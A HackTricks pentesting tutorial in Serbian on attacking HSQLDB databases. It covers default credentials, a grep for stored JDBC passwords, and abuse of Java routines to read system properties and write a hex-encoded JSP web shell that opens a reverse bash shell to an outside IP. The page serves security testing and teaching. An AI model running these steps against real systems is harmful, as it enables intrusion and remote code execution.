tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks

Osnovne informacije

HSQLDB (HyperSQL DataBase) je vodeći SQL relacijski sistem baza podataka napisan u Javi. Pruža mali, brzi višedretveni i transakcijski motor baze podataka sa tabelama u memoriji i na disku, i podržava ugrađene i serverske režime.

Podrazumevani port: 9001

text
9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Информације

Подразумеване поставке

Имајте на уму да овај сервис по подразумеваној вредности вероватно ради у меморији или је повезан на localhost. Ако сте га нашли, вероватно сте искористили други сервис и покушавате да повећате привилегије.

Подразумевани креденцијали су обично sa са празном лозинком.

Ако сте искористили други сервис, потражите могуће креденцијале користећи

text
grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Napomena o imenu baze podataka - biće vam potrebno za povezivanje.

Prikupljanje informacija

Povežite se na DB instancu preuzimanjem HSQLDB i ekstraktovanjem hsqldb/lib/hsqldb.jar. Pokrenite GUI aplikaciju (eww) koristeći java -jar hsqldb.jar i povežite se na instancu koristeći otkrivene/slabe akreditive.

Napomena: URL za povezivanje će izgledati otprilike ovako za udaljeni sistem: jdbc:hsqldb:hsql://ip/DBNAME.

Trikovi

Java jezičke rutine

Možemo pozvati statičke metode Java klase iz HSQLDB koristeći Java jezičke rutine. Imajte na umu da klasa koja se poziva mora biti u classpath-u aplikacije.

JRT-ovi mogu biti funkcije ili procedure. Funkcije se mogu pozivati putem SQL izjava ako Java metoda vraća jednu ili više SQL-kompatibilnih primitivnih varijabli. Pozivaju se koristeći VALUES izjavu.

Ako Java metoda koju želimo da pozovemo vraća void, moramo koristiti proceduru koja se poziva sa CALL izjavom.

Čitanje Java sistemskih svojstava

Kreirajte funkciju:

text
CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Izvrši funkciju:

text
VALUES(getsystemproperty('user.name'))

Možete pronaći spisak sistemskih svojstava ovde.

Pisanje sadržaja u datoteku

Možete koristiti com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget koji se nalazi u JDK (automatski učitan u klasu aplikacije) da biste zapisali heksadecimalno kodirane stavke na disk putem prilagođene procedure. Napomena: maksimalna veličina je 1024 bajta.

Kreirajte proceduru:

text
CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Izvrši proceduru:

text
call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podržite HackTricks